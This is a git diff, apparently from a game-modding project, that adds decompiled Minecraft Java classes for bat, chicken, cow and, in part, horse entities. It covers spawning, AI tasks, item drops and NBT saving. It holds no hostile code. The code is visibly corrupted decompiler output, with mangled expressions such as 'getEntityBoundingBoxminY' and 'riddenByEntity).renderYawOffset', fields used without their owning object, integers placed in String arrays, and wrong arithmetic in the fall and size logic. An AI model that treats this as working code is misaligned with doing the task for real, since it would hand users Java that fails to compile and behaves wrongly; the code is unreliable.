+    return "mob.bat.hurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.bat.death";
+  }
+  
+
+
+
+  public boolean canBePushed()
+  {
+    return false;
+  }
+  
+  protected void collideWithEntity(Entity p_82167_1_) {}
+  
+  protected void collideWithNearbyEntities() {}
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(net.minecraft.entity.SharedMonsterAttributes.maxHealth).setBaseValue(6.0D);
+  }
+  
+  public boolean getIsBatHanging()
+  {
+    return (dataWatcher.getWatchableObjectByte(16) & 0x1) != 0;
+  }
+  
+  public void setIsBatHanging(boolean p_82236_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(16);
+    
+    if (p_82236_1_)
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 | 0x1)));
+    }
+    else
+    {
+      dataWatcher.updateObject(16, Byte.valueOf((byte)(var2 & 0xFFFFFFFE)));
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if (getIsBatHanging())
+    {
+      motionX = (this.motionY = this.motionZ = 0.0D);
+      posY = (MathHelper.floor_double(posY) + 1.0D - height);
+    }
+    else
+    {
+      motionY *= 0.6000000238418579D;
+    }
+  }
+  
+  protected void updateAITasks()
+  {
+    super.updateAITasks();
+    BlockPos var1 = new BlockPos(this);
+    BlockPos var2 = var1.offsetUp();
+    
+    if (getIsBatHanging())
+    {
+      if (!worldObj.getBlockState(var2).getBlock().isNormalCube())
+      {
+        setIsBatHanging(false);
+        worldObj.playAuxSFXAtEntity(null, 1015, var1, 0);
+      }
+      else
+      {
+        if (rand.nextInt(200) == 0)
+        {
+          rotationYawHead = rand.nextInt(360);
+        }
+        
+        if (worldObj.getClosestPlayerToEntity(this, 4.0D) != null)
+        {
+          setIsBatHanging(false);
+          worldObj.playAuxSFXAtEntity(null, 1015, var1, 0);
+        }
+      }
+    }
+    else
+    {
+      if ((spawnPosition != null) && ((!worldObj.isAirBlock(spawnPosition)) || (spawnPosition.getY() < 1)))
+      {
+        spawnPosition = null;
+      }
+      
+      if ((spawnPosition == null) || (rand.nextInt(30) == 0) || (spawnPosition.distanceSq((int)posX, (int)posY, (int)posZ) < 4.0D))
+      {
+        spawnPosition = new BlockPos((int)posX + rand.nextInt(7) - rand.nextInt(7), (int)posY + rand.nextInt(6) - 2, (int)posZ + rand.nextInt(7) - rand.nextInt(7));
+      }
+      
+      double var3 = spawnPosition.getX() + 0.5D - posX;
+      double var5 = spawnPosition.getY() + 0.1D - posY;
+      double var7 = spawnPosition.getZ() + 0.5D - posZ;
+      motionX += (Math.signum(var3) * 0.5D - motionX) * 0.10000000149011612D;
+      motionY += (Math.signum(var5) * 0.699999988079071D - motionY) * 0.10000000149011612D;
+      motionZ += (Math.signum(var7) * 0.5D - motionZ) * 0.10000000149011612D;
+      float var9 = (float)(Math.atan2(motionZ, motionX) * 180.0D / 3.141592653589793D) - 90.0F;
+      float var10 = MathHelper.wrapAngleTo180_float(var9 - rotationYaw);
+      moveForward = 0.5F;
+      rotationYaw += var10;
+      
+      if ((rand.nextInt(100) == 0) && (worldObj.getBlockState(var2).getBlock().isNormalCube()))
+      {
+        setIsBatHanging(true);
+      }
+    }
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+
+  public void fall(float distance, float damageMultiplier) {}
+  
+
+  protected void func_180433_a(double p_180433_1_, boolean p_180433_3_, Block p_180433_4_, BlockPos p_180433_5_) {}
+  
+
+  public boolean doesEntityNotTriggerPressurePlate()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    if ((!worldObj.isRemote) && (getIsBatHanging()))
+    {
+      setIsBatHanging(false);
+    }
+    
+    return super.attackEntityFrom(source, amount);
+  }
+  
+
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    dataWatcher.updateObject(16, Byte.valueOf(tagCompund.getByte("BatFlags")));
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setByte("BatFlags", dataWatcher.getWatchableObjectByte(16));
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    BlockPos var1 = new BlockPos(posX, getEntityBoundingBoxminY, posZ);
+    
+    if (var1.getY() >= 63)
+    {
+      return false;
+    }
+    
+
+    int var2 = worldObj.getLightFromNeighbors(var1);
+    byte var3 = 4;
+    
+    if (func_175569_a(worldObj.getCurrentDate()))
+    {
+      var3 = 7;
+    }
+    else if (rand.nextBoolean())
+    {
+      return false;
+    }
+    
+    return var2 > rand.nextInt(var3) ? false : super.getCanSpawnHere();
+  }
+  
+
+  private boolean func_175569_a(Calendar p_175569_1_)
+  {
+    return ((p_175569_1_.get(2) + 1 == 10) && (p_175569_1_.get(5) >= 20)) || ((p_175569_1_.get(2) + 1 == 11) && (p_175569_1_.get(5) <= 3));
+  }
+  
+  public float getEyeHeight()
+  {
+    return height / 2.0F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityChicken.java b/src/minecraft/net/minecraft/entity/passive/EntityChicken.java
new file mode 100644
index 0000000..de716ba
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityChicken.java
@@ -0,0 +1,239 @@
+package net.minecraft.entity.passive;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIFollowParent;
+import net.minecraft.entity.ai.EntityAIMate;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityChicken extends EntityAnimal
+{
+  public float field_70886_e;
+  public float destPos;
+  public float field_70884_g;
+  public float field_70888_h;
+  public float field_70889_i = 1.0F;
+  
+  public int timeUntilNextEgg;
+  
+  public boolean field_152118_bv;
+  private static final String __OBFID = "CL_00001639";
+  
+  public EntityChicken(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.4F, 0.7F);
+    timeUntilNextEgg = (rand.nextInt(6000) + 6000);
+    tasks.addTask(0, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAIPanic(this, 1.4D));
+    tasks.addTask(2, new EntityAIMate(this, 1.0D));
+    tasks.addTask(3, new net.minecraft.entity.ai.EntityAITempt(this, 1.0D, Items.wheat_seeds, false));
+    tasks.addTask(4, new EntityAIFollowParent(this, 1.1D));
+    tasks.addTask(5, new EntityAIWander(this, 1.0D));
+    tasks.addTask(6, new EntityAIWatchClosest(this, EntityPlayer.class, 6.0F));
+    tasks.addTask(7, new net.minecraft.entity.ai.EntityAILookIdle(this));
+  }
+  
+  public float getEyeHeight()
+  {
+    return height;
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(4.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.25D);
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    super.onLivingUpdate();
+    field_70888_h = field_70886_e;
+    field_70884_g = destPos;
+    destPos = ((float)(destPos + (onGround ? -1 : 4) * 0.3D));
+    destPos = MathHelper.clamp_float(destPos, 0.0F, 1.0F);
+    
+    if ((!onGround) && (field_70889_i < 1.0F))
+    {
+      field_70889_i = 1.0F;
+    }
+    
+    field_70889_i = ((float)(field_70889_i * 0.9D));
+    
+    if ((!onGround) && (motionY < 0.0D))
+    {
+      motionY *= 0.6D;
+    }
+    
+    field_70886_e += field_70889_i * 2.0F;
+    
+    if ((!worldObj.isRemote) && (!isChild()) && (!func_152116_bZ()) && (--timeUntilNextEgg <= 0))
+    {
+      playSound("mob.chicken.plop", 1.0F, (rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F);
+      dropItem(Items.egg, 1);
+      timeUntilNextEgg = (rand.nextInt(6000) + 6000);
+    }
+  }
+  
+
+
+  public void fall(float distance, float damageMultiplier) {}
+  
+
+  protected String getLivingSound()
+  {
+    return "mob.chicken.say";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.chicken.hurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.chicken.hurt";
+  }
+  
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    playSound("mob.chicken.step", 0.15F, 1.0F);
+  }
+  
+  protected Item getDropItem()
+  {
+    return Items.feather;
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    int var3 = rand.nextInt(3) + rand.nextInt(1 + p_70628_2_);
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      dropItem(Items.feather, 1);
+    }
+    
+    if (isBurning())
+    {
+      dropItem(Items.cooked_chicken, 1);
+    }
+    else
+    {
+      dropItem(Items.chicken, 1);
+    }
+  }
+  
+  public EntityChicken createChild1(EntityAgeable p_90011_1_)
+  {
+    return new EntityChicken(worldObj);
+  }
+  
+
+
+
+
+  public boolean isBreedingItem(ItemStack p_70877_1_)
+  {
+    return (p_70877_1_ != null) && (p_70877_1_.getItem() == Items.wheat_seeds);
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    super.readEntityFromNBT(tagCompund);
+    field_152118_bv = tagCompund.getBoolean("IsChickenJockey");
+    
+    if (tagCompund.hasKey("EggLayTime"))
+    {
+      timeUntilNextEgg = tagCompund.getInteger("EggLayTime");
+    }
+  }
+  
+
+
+
+  protected int getExperiencePoints(EntityPlayer p_70693_1_)
+  {
+    return func_152116_bZ() ? 10 : super.getExperiencePoints(p_70693_1_);
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    super.writeEntityToNBT(tagCompound);
+    tagCompound.setBoolean("IsChickenJockey", field_152118_bv);
+    tagCompound.setInteger("EggLayTime", timeUntilNextEgg);
+  }
+  
+
+
+
+  protected boolean canDespawn()
+  {
+    return (func_152116_bZ()) && (riddenByEntity == null);
+  }
+  
+  public void updateRiderPosition()
+  {
+    super.updateRiderPosition();
+    float var1 = MathHelper.sin(renderYawOffset * 3.1415927F / 180.0F);
+    float var2 = MathHelper.cos(renderYawOffset * 3.1415927F / 180.0F);
+    float var3 = 0.1F;
+    float var4 = 0.0F;
+    riddenByEntity.setPosition(posX + var3 * var1, posY + height * 0.5F + riddenByEntity.getYOffset() + var4, posZ - var3 * var2);
+    
+    if ((riddenByEntity instanceof EntityLivingBase))
+    {
+      riddenByEntity).renderYawOffset = renderYawOffset;
+    }
+  }
+  
+  public boolean func_152116_bZ()
+  {
+    return field_152118_bv;
+  }
+  
+  public void func_152117_i(boolean p_152117_1_)
+  {
+    field_152118_bv = p_152117_1_;
+  }
+  
+  public EntityAgeable createChild(EntityAgeable p_90011_1_)
+  {
+    return createChild1(p_90011_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityCow.java b/src/minecraft/net/minecraft/entity/passive/EntityCow.java
new file mode 100644
index 0000000..b12a988
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityCow.java
@@ -0,0 +1,153 @@
+package net.minecraft.entity.passive;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIFollowParent;
+import net.minecraft.entity.ai.EntityAIMate;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Items;
+import net.minecraft.item.ItemStack;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class EntityCow extends EntityAnimal
+{
+  private static final String __OBFID = "CL_00001640";
+  
+  public EntityCow(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.9F, 1.3F);
+    ((PathNavigateGround)getNavigator()).func_179690_a(true);
+    tasks.addTask(0, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAIPanic(this, 2.0D));
+    tasks.addTask(2, new EntityAIMate(this, 1.0D));
+    tasks.addTask(3, new net.minecraft.entity.ai.EntityAITempt(this, 1.25D, Items.wheat, false));
+    tasks.addTask(4, new EntityAIFollowParent(this, 1.25D));
+    tasks.addTask(5, new EntityAIWander(this, 1.0D));
+    tasks.addTask(6, new EntityAIWatchClosest(this, EntityPlayer.class, 6.0F));
+    tasks.addTask(7, new net.minecraft.entity.ai.EntityAILookIdle(this));
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(10.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.20000000298023224D);
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.cow.say";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.cow.hurt";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.cow.hurt";
+  }
+  
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    playSound("mob.cow.step", 0.15F, 1.0F);
+  }
+  
+
+
+
+  protected float getSoundVolume()
+  {
+    return 0.4F;
+  }
+  
+  protected net.minecraft.item.Item getDropItem()
+  {
+    return Items.leather;
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    int var3 = rand.nextInt(3) + rand.nextInt(1 + p_70628_2_);
+    
+
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      dropItem(Items.leather, 1);
+    }
+    
+    var3 = rand.nextInt(3) + 1 + rand.nextInt(1 + p_70628_2_);
+    
+    for (var4 = 0; var4 < var3; var4++)
+    {
+      if (isBurning())
+      {
+        dropItem(Items.cooked_beef, 1);
+      }
+      else
+      {
+        dropItem(Items.beef, 1);
+      }
+    }
+  }
+  
+
+
+
+  public boolean interact(EntityPlayer p_70085_1_)
+  {
+    ItemStack var2 = inventory.getCurrentItem();
+    
+    if ((var2 != null) && (var2.getItem() == Items.bucket) && (!capabilities.isCreativeMode))
+    {
+      if (stackSize-- == 1)
+      {
+        inventory.setInventorySlotContents(inventory.currentItem, new ItemStack(Items.milk_bucket));
+      }
+      else if (!inventory.addItemStackToInventory(new ItemStack(Items.milk_bucket)))
+      {
+        p_70085_1_.dropPlayerItemWithRandomChoice(new ItemStack(Items.milk_bucket, 1, 0), false);
+      }
+      
+      return true;
+    }
+    
+
+    return super.interact(p_70085_1_);
+  }
+  
+
+  public EntityCow createChild(EntityAgeable p_90011_1_)
+  {
+    return new EntityCow(worldObj);
+  }
+  
+  public float getEyeHeight()
+  {
+    return height;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/passive/EntityHorse.java b/src/minecraft/net/minecraft/entity/passive/EntityHorse.java
new file mode 100644
index 0000000..448986f
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/passive/EntityHorse.java
@@ -0,0 +1,1873 @@
+package net.minecraft.entity.passive;
+
+import com.google.common.base.Predicate;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.Block.SoundType;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityAgeable;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIMate;
+import net.minecraft.entity.ai.EntityAIRunAroundLikeCrazy;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.entity.ai.attributes.IAttribute;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.ai.attributes.RangedAttribute;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.AnimalChest;
+import net.minecraft.inventory.InventoryBasic;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.potion.Potion;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.StatCollector;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.World;
+
+public class EntityHorse extends EntityAnimal implements net.minecraft.inventory.IInvBasic
+{
+  private static final Predicate horseBreedingSelector = new Predicate()
+  {
+    private static final String __OBFID = "CL_00001642";
+    
+    public boolean func_179873_a(Entity p_179873_1_) {
+      return ((p_179873_1_ instanceof EntityHorse)) && (((EntityHorse)p_179873_1_).func_110205_ce());
+    }
+    
+    public boolean apply(Object p_apply_1_) {
+      return func_179873_a((Entity)p_apply_1_);
+    }
+  };
+  private static final IAttribute horseJumpStrength = new RangedAttribute(null, "horse.jumpStrength", 0.7D, 0.0D, 2.0D).setDescription("Jump Strength").setShouldWatch(true);
+  private static final String[] horseArmorTextures = { 0, "textures/entity/horse/armor/horse_armor_iron.png", "textures/entity/horse/armor/horse_armor_gold.png", "textures/entity/horse/armor/horse_armor_diamond.png" };
+  private static final String[] field_110273_bx = { "", "meo", "goo", "dio" };
+  private static final int[] armorValues = { 0, 5, 7, 11 };
+  private static final String[] horseTextures = { "textures/entity/horse/horse_white.png", "textures/entity/horse/horse_creamy.png", "textures/entity/horse/horse_chestnut.png", "textures/entity/horse/horse_brown.png", "textures/entity/horse/horse_black.png", "textures/entity/horse/horse_gray.png", "textures/entity/horse/horse_darkbrown.png" };
+  private static final String[] field_110269_bA = { "hwh", "hcr", "hch", "hbr", "hbl", "hgr", "hdb" };
+  private static final String[] horseMarkingTextures = { 0, "textures/entity/horse/horse_markings_white.png", "textures/entity/horse/horse_markings_whitefield.png", "textures/entity/horse/horse_markings_whitedots.png", "textures/entity/horse/horse_markings_blackdots.png" };
+  private static final String[] field_110292_bC = { "", "wo_", "wmo", "wdo", "bdo" };
+  
+  private int eatingHaystackCounter;
+  
+  private int openMouthCounter;
+  
+  private int jumpRearingCounter;
+  
+  public int field_110278_bp;
+  
+  public int field_110279_bq;
+  
+  protected boolean horseJumping;
+  private AnimalChest horseChest;
+  private boolean hasReproduced;
+  protected int temper;
+  protected float jumpPower;
+  private boolean field_110294_bI;
+  private float headLean;
+  private float prevHeadLean;
+  private float rearingAmount;
+  private float prevRearingAmount;
+  private float mouthOpenness;
+  private float prevMouthOpenness;
+  private int gallopTime;
+  private String field_110286_bQ;
+  private String[] field_110280_bR = new String[3];
+  private boolean field_175508_bO = false;
+  private static final String __OBFID = "CL_00001641";
+  
+  public EntityHorse(World worldIn)
+  {
+    super(worldIn);
+    setSize(1.4F, 1.6F);
+    isImmuneToFire = false;
+    setChested(false);
+    ((PathNavigateGround)getNavigator()).func_179690_a(true);
+    tasks.addTask(0, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAIPanic(this, 1.2D));
+    tasks.addTask(1, new EntityAIRunAroundLikeCrazy(this, 1.2D));
+    tasks.addTask(2, new EntityAIMate(this, 1.0D));
+    tasks.addTask(4, new net.minecraft.entity.ai.EntityAIFollowParent(this, 1.0D));
+    tasks.addTask(6, new net.minecraft.entity.ai.EntityAIWander(this, 0.7D));
+    tasks.addTask(7, new net.minecraft.entity.ai.EntityAIWatchClosest(this, EntityPlayer.class, 6.0F));
+    tasks.addTask(8, new net.minecraft.entity.ai.EntityAILookIdle(this));
+    func_110226_cD();
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, Integer.valueOf(0));
+    dataWatcher.addObject(19, Byte.valueOf((byte)0));
+    dataWatcher.addObject(20, Integer.valueOf(0));
+    dataWatcher.addObject(21, String.valueOf(""));
+    dataWatcher.addObject(22, Integer.valueOf(0));
+  }
+  
+  public void setHorseType(int p_110214_1_)
+  {
+    dataWatcher.updateObject(19, Byte.valueOf((byte)p_110214_1_));
+    func_110230_cF();
+  }
+  
+
+
+
+  public int getHorseType()
+  {
+    return dataWatcher.getWatchableObjectByte(19);
+  }
+  
+  public void setHorseVariant(int p_110235_1_)
+  {
+    dataWatcher.updateObject(20, Integer.valueOf(p_110235_1_));
+    func_110230_cF();
+  }
+  
+  public int getHorseVariant()
+  {
+    return dataWatcher.getWatchableObjectInt(20);
+  }
+  
+
+
+
+  public String getName()
+  {
+    if (hasCustomName())
+    {
+      return getCustomNameTag();
+    }
+    
+
+    int var1 = getHorseType();
+    
+    switch (var1)
+    {
+    case 0: 
+    default: 
+      return StatCollector.translateToLocal("entity.horse.name");
+    
+    case 1: 
+      return StatCollector.translateToLocal("entity.donkey.name");
+    
+    case 2: 
+      return StatCollector.translateToLocal("entity.mule.name");
+    
+    case 3: 
+      return StatCollector.translateToLocal("entity.zombiehorse.name");
+    }
+    
+    return StatCollector.translateToLocal("entity.skeletonhorse.name");
+  }
+  
+
+
+  private boolean getHorseWatchableBoolean(int p_110233_1_)
+  {
+    return (dataWatcher.getWatchableObjectInt(16) & p_110233_1_) != 0;
+  }
+  
+  private void setHorseWatchableBoolean(int p_110208_1_, boolean p_110208_2_)
+  {
+    int var3 = dataWatcher.getWatchableObjectInt(16);
+    
+    if (p_110208_2_)
+    {
+      dataWatcher.updateObject(16, Integer.valueOf(var3 | p_110208_1_));
+    }
+    else
+    {
+      dataWatcher.updateObject(16, Integer.valueOf(var3 & (p_110208_1_ ^ 0xFFFFFFFF)));
+    }
+  }
+  
+  public boolean isAdultHorse()
+  {
+    return !isChild();
+  }
+  
+  public boolean isTame()
+  {
+    return getHorseWatchableBoolean(2);
+  }
+  
+  public boolean func_110253_bW()
+  {
+    return isAdultHorse();
+  }
+  
+  public String func_152119_ch()
+  {
+    return dataWatcher.getWatchableObjectString(21);
+  }
+  
+  public void func_152120_b(String p_152120_1_)
+  {
+    dataWatcher.updateObject(21, p_152120_1_);
+  }
+  
+  public float getHorseSize()
+  {
+    int var1 = getGrowingAge();
+    return var1 >= 0 ? 1.0F : 0.5F + (41536 - var1) / -24000.0F * 0.5F;
+  }
+  
+
+
+
+  public void setScaleForAge(boolean p_98054_1_)
+  {
+    if (p_98054_1_)
+    {
+      setScale(getHorseSize());
+    }
+    else
+    {
+      setScale(1.0F);
+    }
+  }
+  
+  public boolean isHorseJumping()
+  {
+    return horseJumping;
+  }
+  
+  public void setHorseTamed(boolean p_110234_1_)
+  {
+    setHorseWatchableBoolean(2, p_110234_1_);
+  }
+  
+  public void setHorseJumping(boolean p_110255_1_)
+  {
+    horseJumping = p_110255_1_;
+  }
+  
+  public boolean allowLeashing()
+  {
+    return (!isUndead()) && (super.allowLeashing());
+  }
+  
+  protected void func_142017_o(float p_142017_1_)
+  {
+    if ((p_142017_1_ > 6.0F) && (isEatingHaystack()))
+    {
+      setEatingHaystack(false);
+    }
+  }
+  
+  public boolean isChested()
+  {
+    return getHorseWatchableBoolean(8);
+  }
+  
+  public int func_110241_cb()
+  {
+    return dataWatcher.getWatchableObjectInt(22);
+  }
+  
+
+
+
+  private int getHorseArmorIndex(ItemStack p_110260_1_)
+  {
+    if (p_110260_1_ == null)
+    {
+      return 0;
+    }
+    
+
+    Item var2 = p_110260_1_.getItem();
+    return var2 == Items.diamond_horse_armor ? 3 : var2 == Items.golden_horse_armor ? 2 : var2 == Items.iron_horse_armor ? 1 : 0;
+  }
+  
+
+  public boolean isEatingHaystack()
+  {
+    return getHorseWatchableBoolean(32);
+  }
+  
+  public boolean isRearing()
+  {
+    return getHorseWatchableBoolean(64);
+  }
+  
+  public boolean func_110205_ce()
+  {
+    return getHorseWatchableBoolean(16);
+  }
+  
+  public boolean getHasReproduced()
+  {
+    return hasReproduced;
+  }
+  
+
+
+
+  public void setHorseArmorStack(ItemStack p_146086_1_)
+  {
+    dataWatcher.updateObject(22, Integer.valueOf(getHorseArmorIndex(p_146086_1_)));
+    func_110230_cF();
+  }
+  
+  public void func_110242_l(boolean p_110242_1_)
+  {
+    setHorseWatchableBoolean(16, p_110242_1_);
+  }
+  
+  public void setChested(boolean p_110207_1_)
+  {
+    setHorseWatchableBoolean(8, p_110207_1_);
+  }
+  
+  public void setHasReproduced(boolean p_110221_1_)
+  {
+    hasReproduced = p_110221_1_;
+  }
+  
+  public void setHorseSaddled(boolean p_110251_1_)
+  {
+    setHorseWatchableBoolean(4, p_110251_1_);
+  }
+  
+  public int getTemper()
+  {
+    return temper;
+  }
+  
+  public void setTemper(int p_110238_1_)
+  {
+    temper = p_110238_1_;
+  }
+  
+  public int increaseTemper(int p_110198_1_)
+  {
+    int var2 = MathHelper.clamp_int(getTemper() + p_110198_1_, 0, getMaxTemper());
+    setTemper(var2);
+    return var2;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    Entity var3 = source.getEntity();
+    return (riddenByEntity != null) && (riddenByEntity.equals(var3)) ? false : super.attackEntityFrom(source, amount);
+  }
+  
+
+
+
+  public int getTotalArmorValue()
+  {
+    return armorValues[func_110241_cb()];
+  }
+  
+
+
+
+  public boolean canBePushed()
+  {
+    return riddenByEntity == null;
+  }
+  
+  public boolean prepareChunkForSpawn()
+  {
+    int var1 = MathHelper.floor_double(posX);
+    int var2 = MathHelper.floor_double(posZ);
+    worldObj.getBiomeGenForCoords(new BlockPos(var1, 0, var2));
+    return true;
+  }
+  
+  public void dropChests()
+  {
+    if ((!worldObj.isRemote) && (isChested()))
+    {
+      dropItem(Item.getItemFromBlock(Blocks.chest), 1);
+      setChested(false);
+    }
+  }
+  
+  private void func_110266_cB()
+  {
+    openHorseMouth();
+    
+    if (!isSlient())
+    {
+      worldObj.playSoundAtEntity(this, "eating", 1.0F, 1.0F + (rand.nextFloat() - rand.nextFloat()) * 0.2F);
+    }
+  }
+  
+  public void fall(float distance, float damageMultiplier)
+  {
+    if (distance > 1.0F)
+    {
+      playSound("mob.horse.land", 0.4F, 1.0F);
+    }
+    
+    int var3 = MathHelper.ceiling_float_int((distance * 0.5F - 3.0F) * damageMultiplier);
+    
+    if (var3 > 0)
+    {
+      attackEntityFrom(DamageSource.fall, var3);
+      
+      if (riddenByEntity != null)
+      {
+        riddenByEntity.attackEntityFrom(DamageSource.fall, var3);
+      }
+      
+      Block var4 = worldObj.getBlockState(new BlockPos(posX, posY - 0.2D - prevRotationYaw, posZ)).getBlock();
+      
+      if ((var4.getMaterial() != Material.air) && (!isSlient()))
+      {
+        Block.SoundType var5 = stepSound;
+        worldObj.playSoundAtEntity(this, var5.getStepSound(), var5.getVolume() * 0.5F, var5.getFrequency() * 0.75F);
+      }
+    }
+  }
+  
+  private int func_110225_cC()
+  {
+    int var1 = getHorseType();
+    return (isChested()) && ((var1 == 1) || (var1 == 2)) ? 17 : 2;
+  }
+  
+  private void func_110226_cD()
+  {
+    AnimalChest var1 = horseChest;
+    horseChest = new AnimalChest("HorseChest", func_110225_cC());
+    horseChest.func_110133_a(getName());
+    
+    if (var1 != null)
+    {
+      var1.func_110132_b(this);
+      int var2 = Math.min(var1.getSizeInventory(), horseChest.getSizeInventory());
+      
+      for (int var3 = 0; var3 < var2; var3++)
+      {
+        ItemStack var4 = var1.getStackInSlot(var3);
+        
+        if (var4 != null)
+        {
+          horseChest.setInventorySlotContents(var3, var4.copy());
+        }
+      }
+    }
+    
+    horseChest.func_110134_a(this);
+    func_110232_cE();
+  }
+  
+  private void func_110232_cE()
+  {
+    if (!worldObj.isRemote)
+    {
+      setHorseSaddled(horseChest.getStackInSlot(0) != null);
+      
+      if (canWearArmor())
+      {
+        setHorseArmorStack(horseChest.getStackInSlot(1));
+      }
+    }
+  }
+  
+
+
+
+  public void onInventoryChanged(InventoryBasic p_76316_1_)
+  {
+    int var2 = func_110241_cb();
+    boolean var3 = isHorseSaddled();
+    func_110232_cE();
+    
+    if (ticksExisted > 20)
+    {
+      if ((var2 == 0) && (var2 != func_110241_cb()))
+      {
+        playSound("mob.horse.armor", 0.5F, 1.0F);
+      }
+      else if (var2 != func_110241_cb())
+      {
+        playSound("mob.horse.armor", 0.5F, 1.0F);
+      }
+      
+      if ((!var3) && (isHorseSaddled()))
+      {
+        playSound("mob.horse.leather", 0.5F, 1.0F);
+      }
+    }
+  }
+  
+
+
+
